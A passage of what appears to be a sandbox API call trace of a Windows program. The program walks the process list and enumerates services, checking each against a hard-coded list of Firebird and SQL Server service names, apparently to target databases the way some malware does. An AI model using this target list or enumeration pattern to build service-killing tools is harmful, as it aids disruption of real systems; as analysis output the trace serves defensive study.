th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0108.230] lstrlenW (lpString="campus.exe") returned 10 [0108.230] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0108.231] lstrlenW (lpString="mug.exe") returned 7 [0108.231] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="petitionswapdame.exe")) returned 1 [0108.231] lstrlenW (lpString="petitionswapdame.exe") returned 20 [0108.231] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum-appeals-das.exe")) returned 1 [0108.232] lstrlenW (lpString="quantum-appeals-das.exe") returned 23 [0108.232] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="powers mixture.exe")) returned 1 [0108.232] lstrlenW (lpString="powers mixture.exe") returned 18 [0108.232] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="federation-customs-denial.exe")) returned 1 [0108.233] lstrlenW (lpString="federation-customs-denial.exe") returned 29 [0108.233] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bachelor.exe")) returned 1 [0108.234] lstrlenW (lpString="bachelor.exe") returned 12 [0108.234] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrist-exhaust-wires.exe")) returned 1 [0108.234] lstrlenW (lpString="wrist-exhaust-wires.exe") returned 23 [0108.234] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="indication wage paying.exe")) returned 1 [0108.235] lstrlenW (lpString="indication wage paying.exe") returned 26 [0108.235] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thee pub emission.exe")) returned 1 [0108.236] lstrlenW (lpString="thee pub emission.exe") returned 21 [0108.236] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0108.237] lstrlenW (lpString="dllhost.exe") returned 11 [0108.237] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenditure_recruitment.exe")) returned 1 [0108.237] lstrlenW (lpString="expenditure_recruitment.exe") returned 27 [0108.237] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compiler_transportation.exe")) returned 1 [0108.238] lstrlenW (lpString="compiler_transportation.exe") returned 27 [0108.238] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upgrading.exe")) returned 1 [0108.239] lstrlenW (lpString="upgrading.exe") returned 13 [0108.239] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="opened_conservative_warnings.exe")) returned 1 [0108.240] lstrlenW (lpString="opened_conservative_warnings.exe") returned 32 [0108.240] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell.exe")) returned 1 [0108.241] lstrlenW (lpString="russell.exe") returned 11 [0108.241] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfa4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.241] lstrlenW (lpString="conhost.exe") returned 11 [0108.241] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf84, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.242] lstrlenW (lpString="conhost.exe") returned 11 [0108.242] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.243] lstrlenW (lpString="svchost.exe") returned 11 [0108.243] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0108.244] lstrlenW (lpString="1csrss.exe") returned 10 [0108.244] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0108.245] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0108.245] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x540, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.245] lstrlenW (lpString="conhost.exe") returned 11 [0108.246] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xff4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0108.246] lstrlenW (lpString="cmd.exe") returned 7 [0108.246] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0108.247] lstrlenW (lpString="conhost.exe") returned 11 [0108.247] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.248] lstrlenW (lpString="svchost.exe") returned 11 [0108.248] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0108.249] CloseHandle (hObject=0x27c) returned 1 [0108.249] Sleep (dwMilliseconds=0x1f4) [0108.756] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5eea70 [0108.756] EnumServicesStatusExW (in: hSCManager=0x5eea70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0108.757] GetLastError () returned 0xea [0108.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1d5a) returned 0x60f958 [0108.757] EnumServicesStatusExW (in: hSCManager=0x5eea70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60f958, cbBufSize=0x1d5a, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60f958, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0108.758] CloseServiceHandle (hSCObject=0x5eea70) returned 1 [0108.759] lstrlenW (lpString="Appinfo") returned 7 [0108.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0108.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0108.759] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0108.759] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0108.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0108.759] lstrlenW (lpString="AppXSvc") returned 7 [0108.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0108.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0108.759] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0108.759] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0108.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0108.759] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0108.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0108.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0108.759] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0108.759] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0108.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0108.759] lstrlenW (lpString="Audiosrv") returned 8 [0108.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0108.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0108.759] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0108.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0108.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0108.760] lstrlenW (lpString="BFE") returned 3 [0108.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0108.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0108.760] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0108.760] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0108.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0108.760] lstrlenW (lpString="BITS") returned 4 [0108.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0108.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0108.760] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0108.760] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0108.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0108.760] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0108.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0108.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0108.760] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0108.760] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0108.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0108.760] lstrlenW (lpString="CDPSvc") returned 6 [0108.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0108.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0108.760] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0108.760] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0108.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0108.760] lstrlenW (lpString="ClickToRunSvc") returned 13 [0108.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0108.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0108.761] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0108.761] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0108.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0108.761] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0108.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0108.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0108.761] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0108.761] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0108.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0108.761] lstrlenW (lpString="CryptSvc") returned 8 [0108.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0108.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0108.761] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0108.761] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0108.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0108.761] lstrlenW (lpString="DcomLaunch") returned 10 [0108.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0108.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0108.761] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0108.761] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0108.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0108.761] lstrlenW (lpString="DeviceAssociationService") returned 24 [0108.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0108.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0108.762] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0108.762] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0108.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0108.762] lstrlenW (lpString="Dhcp") returned 4 [0108.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0108.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0108.762] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0108.762] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0108.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0108.762] lstrlenW (lpString="Dnscache") returned 8 [0108.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0108.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0108.762] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0108.762] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0108.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0108.762] lstrlenW (lpString="DoSvc") returned 5 [0108.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0108.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0108.762] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0108.762] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0108.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0108.762] lstrlenW (lpString="DPS") returned 3 [0108.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0108.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0108.762] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0108.762] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0108.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0108.763] lstrlenW (lpString="DusmSvc") returned 7 [0108.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0108.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0108.763] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0108.763] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0108.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0108.763] lstrlenW (lpString="EventLog") returned 8 [0108.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0108.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0108.763] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0108.763] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0108.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0108.763] lstrlenW (lpString="EventSystem") returned 11 [0108.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0108.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0108.763] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0108.763] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0108.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0108.763] lstrlenW (lpString="FontCache") returned 9 [0108.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0108.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0108.763] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0108.763] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0108.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0108.763] lstrlenW (lpString="gpsvc") returned 5 [0108.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0108.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0108.764] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0108.764] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0108.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0108.764] lstrlenW (lpString="iphlpsvc") returned 8 [0108.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0108.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0108.764] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0108.764] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0108.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0108.764] lstrlenW (lpString="KeyIso") returned 6 [0108.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0108.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0108.764] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0108.764] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0108.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0108.764] lstrlenW (lpString="LanmanServer") returned 12 [0108.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0108.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0108.764] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0108.764] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0108.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0108.764] lstrlenW (lpString="LanmanWorkstation") returned 17 [0108.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0108.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0108.764] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0108.764] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0108.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0108.765] lstrlenW (lpString="lfsvc") returned 5 [0108.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0108.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0108.765] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0108.765] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0108.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0108.765] lstrlenW (lpString="lmhosts") returned 7 [0108.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0108.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0108.765] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0108.765] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0108.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0108.765] lstrlenW (lpString="LSM") returned 3 [0108.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0108.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0108.765] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0108.765] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0108.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0108.765] lstrlenW (lpString="MapsBroker") returned 10 [0108.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0108.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0108.765] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0108.765] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0108.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0108.765] lstrlenW (lpString="MpsSvc") returned 6 [0108.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0108.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0108.765] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0108.766] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0108.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0108.766] lstrlenW (lpString="NcbService") returned 10 [0108.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0108.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0108.766] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0108.766] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0108.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0108.766] lstrlenW (lpString="netprofm") returned 8 [0108.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0108.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0108.766] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0108.766] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0108.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0108.766] lstrlenW (lpString="NlaSvc") returned 6 [0108.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0108.766] lstrcmpiW 